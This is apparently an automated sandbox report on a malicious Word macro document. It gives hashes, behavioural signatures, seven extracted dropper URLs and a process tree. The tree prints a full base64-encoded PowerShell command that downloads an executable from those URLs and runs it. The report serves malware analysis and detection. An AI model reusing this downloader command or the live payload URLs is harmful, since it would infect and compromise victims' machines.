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Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    29/08/2024, 08:37

General

  • Target

    c87e3f97b6aecc12ff6e21fdb7ac50c3_JaffaCakes118.doc

  • Size

    176KB

  • MD5

    c87e3f97b6aecc12ff6e21fdb7ac50c3

  • SHA1

    54071f56f6500c7a88b0ab7a37ee9cfd11756d84

  • SHA256

    7e6fc690af5421734b9e41997457b99056bf254674b8fc8d3d60b3c5abd27128

  • SHA512

    6c7fdae4515629954faedc6d6be66cb68cb8d0f886a37f679737dd906fbe23c65951e910731d326a0178257b19520eea92df267bd50202b9cb050136aa5a92c0

  • SSDEEP

    1536:q5M8Na9quLeJ1b5VahG/A8k/gvjl0NZqDlGffQanLzdf7RqcYO4OvqTl1ygpdavD:SUqJ1NgsA8k/gvh0NZ0lGX1nZ7RRYq

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://famousdiagnosticcenter.com/wp-admin/7wX/

exe.dropper

http://www.govtcollegesihunta.com/wp-includes/hX/

exe.dropper

http://jegsnet.com/wp-content/lPr/

exe.dropper

http://fenekformalas.newquantumlogic.com/webstat/G/

exe.dropper

http://helixity-india.com/wp-content/M/

exe.dropper

https://www.buntebenelux.com/wp-admin/cbW/

exe.dropper

http://swso2.com/wp-admin/a/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c87e3f97b6aecc12ff6e21fdb7ac50c3_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2088
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2548
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABWAHAAbAA1AHQANQAyAD0AKAAoACcARQAnACsAJwA5AGcAdAAnACkAKwAnAGQAJwArACcAbQB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAGUAUgBwAFIAbwBmAEkATABlAFwASABjAHoAZgAyAHYAbgBcAGEAbQAwAGgAMgB3AGQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAUgBJAFQAYABZAFAAYABSAG8AVABvAGAAQwBgAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsACcAKQArACgAJwBzADEAJwArACcAMQAsACcAKQArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAFcAawA4AGcAZgBoAF8AIAA9ACAAKAAnAEEAJwArACcAYQAnACsAKAAnADgANQB4ACcAKwAnAHEAJwArACcAaQA0ACcAKQApADsAJABPAG4AaQBoADcAagBpAD0AKAAoACcAUgAnACsAJwBtADIANwAnACkAKwAoACcAZgB6ACcAKwAnAHEAJwApACkAOwAkAEsANABpAG8AdgBmAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBpACcAKwAnADQAZwBIAGMAJwApACsAKAAnAHoAZgAyACcAKwAnAHYAJwApACsAJwBuAGkAJwArACgAJwA0AGcAQQAnACsAJwBtADAAaAAyACcAKQArACgAJwB3AGQAJwArACcAaQA0ACcAKQArACcAZwAnACkAIAAgAC0AQwBSAEUAUABMAGEAYwBFACgAJwBpADQAJwArACcAZwAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVwBrADgAZwBmAGgAXwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFIAMAA0AHAANgB1AHoAPQAoACgAJwBIACcAKwAnAGgAMQAnACkAKwAoACcAMQBrAHYAJwArACcAbwAnACkAKQA7ACQATwBxAG8AegB3ADIAaQA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAE4AVAA7ACQARABrADgAYQA0AGEAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AZgBhAG0AJwApACsAKAAnAG8AJwArACcAdQBzACcAKQArACcAZAAnACsAKAAnAGkAYQAnACsAJwBnAG4AJwApACsAKAAnAG8AcwB0AGkAJwArACcAYwBjAGUAbgB0ACcAKwAnAGUAcgAuAGMAbwAnACkAKwAnAG0ALwAnACsAJwB3AHAAJwArACgAJwAtAGEAZAAnACsAJwBtACcAKQArACgAJwBpAG4ALwAnACsAJwA3ACcAKQArACcAdwBYACcAKwAoACcALwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwB3AHcAJwArACcAdwAuAGcAJwApACsAJwBvACcAKwAoACcAdgB0ACcAKwAnAGMAbwBsACcAKwAnAGwAJwApACsAJwBlAGcAJwArACcAZQBzACcAKwAoACcAaQBoAHUAJwArACcAbgB0ACcAKwAnAGEAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKQArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAZQBzAC8AaAAnACsAJwBYAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AagBlACcAKwAnAGcAJwApACsAKAAnAHMAbgAnACsAJwBlAHQALgBjACcAKwAnAG8AbQAvAHcAJwApACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgB0AGUAbgB0AC8AbAAnACsAJwBQACcAKQArACcAcgAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACgAJwBmAGUAbgBlAGsAJwArACcAZgBvACcAKwAnAHIAJwApACsAJwBtAGEAJwArACcAbAAnACsAKAAnAGEAcwAnACsAJwAuAG4AZQAnACkAKwAnAHcAJwArACcAcQB1ACcAKwAnAGEAJwArACgAJwBuAHQAJwArACcAdQBtACcAKwAnAGwAbwAnACkAKwAnAGcAaQAnACsAJwBjACcAKwAnAC4AYwAnACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAdwBlACcAKwAnAGIAJwArACgAJwBzACcAKwAnAHQAYQB0ACcAKQArACgAJwAvAEcAJwArACcALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAnACkAKwAnAC8AaAAnACsAKAAnAGUAbABpACcAKwAnAHgAJwArACcAaQB0AHkALQAnACsAJwBpACcAKQArACcAbgAnACsAJwBkACcAKwAnAGkAYQAnACsAJwAuAGMAJwArACcAbwBtACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGMAJwArACgAJwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8ALwB3AHcAdwAnACsAJwAuACcAKQArACcAYgB1ACcAKwAnAG4AJwArACgAJwB0AGUAYgAnACsAJwBlAG4AJwArACcAZQAnACkAKwAoACcAbAB1ACcAKwAnAHgALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwB3AHAALQBhAGQAJwArACcAbQBpAG4ALwAnACkAKwAoACcAYwBiACcAKwAnAFcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKQArACgAJwA6AC8AJwArACcALwBzACcAKQArACgAJwB3AHMAJwArACcAbwAyAC4AJwApACsAKAAnAGMAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnAGEALwAnACkAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAHAAXwByAHMANABsAD0AKAAnAFkAbQAnACsAJwBwAF8AJwArACgAJwA1ACcAKwAnADMANgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFYAXwBpAGgANwBsAHcAIABpAG4AIAAkAEQAawA4AGEANABhAHQAKQB7AHQAcgB5AHsAJABPAHEAbwB6AHcAMgBpAC4AIgBkAE8AdwBgAE4ATABPAEEAZABGAGAAaQBMAEUAIgAoACQAVgBfAGkAaAA3AGwAdwAsACAAJABLADQAaQBvAHYAZgBjACkAOwAkAEwAcwA5AHIAcABvAHYAPQAoACcAUgBxACcAKwAnADgAegAnACsAKAAnAHUAJwArACcAdAA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEsANABpAG8AdgBmAGMAKQAuACIATABlAGAATgBnAFQASAAiACAALQBnAGUAIAAyADEANwA3ADcAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQASwA0AGkAbwB2AGYAYwApADsAJABPAG8AMgAxAF8ANQA3AD0AKAAoACcARAAnACsAJwByAHMAZgB6ACcAKQArACcAMAB0ACcAKQA7AGIAcgBlAGEAawA7ACQASgBqADQAeQA4ADMAZAA9ACgAKAAnAEEAJwArACcANABjADgAJwApACsAJwB4AGYAJwArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAYgBrAG4AZAB4AHEAPQAoACcAQgAnACsAKAAnADUAawA5ACcAKwAnAGQANQAnACkAKwAnAF8AJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      17d7a6192d1c83d14255858e7d08edea

      SHA1

      8a675395e355952ca39a3283ea21ae5eda80316a

      SHA256

      61f0a6f7eac54ad54b43a06cb0fb4ca9b58148ba5d2b170ba99db3cf621c2cde

      SHA512

      b1a7e0ca78bad4be63961520317572cb090d9ed6adfe7fc1a652775131d5ea1c58cbfcee15a4a4b7adea116d3248bd4cc9c723451610c2a510d94f64bada008b

    • memory/2088-46-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-44-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-6-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/2088-5-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/2088-7-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/2088-28-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-27-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-26-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-36-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-83-0x000000007105D000-0x0000000071068000-memory.dmp

      Filesize

      44KB

    • memory/2088-2-0x000000007105D000-0x0000000071068000-memory.dmp

      Filesize

      44KB

    • memory/2088-45-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-0-0x000000002F981000-0x000000002F982000-memory.dmp

      Filesize

      4KB

    • memory/2088-82-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2088-58-0x000000007105D000-0x0000000071068000-memory.dmp

      Filesize

      44KB

    • memory/2088-59-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/2088-61-0x0000000005E00000-0x0000000005F00000-memory.dmp

      Filesize

      1024KB

    • memory/2088-62-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-66-0x00000000059B0000-0x0000000005AB0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2956-52-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

      Filesize

      2.9MB

    • memory/2956-53-0x0000000002240000-0x0000000002248000-memory.dmp

      Filesize

      32KB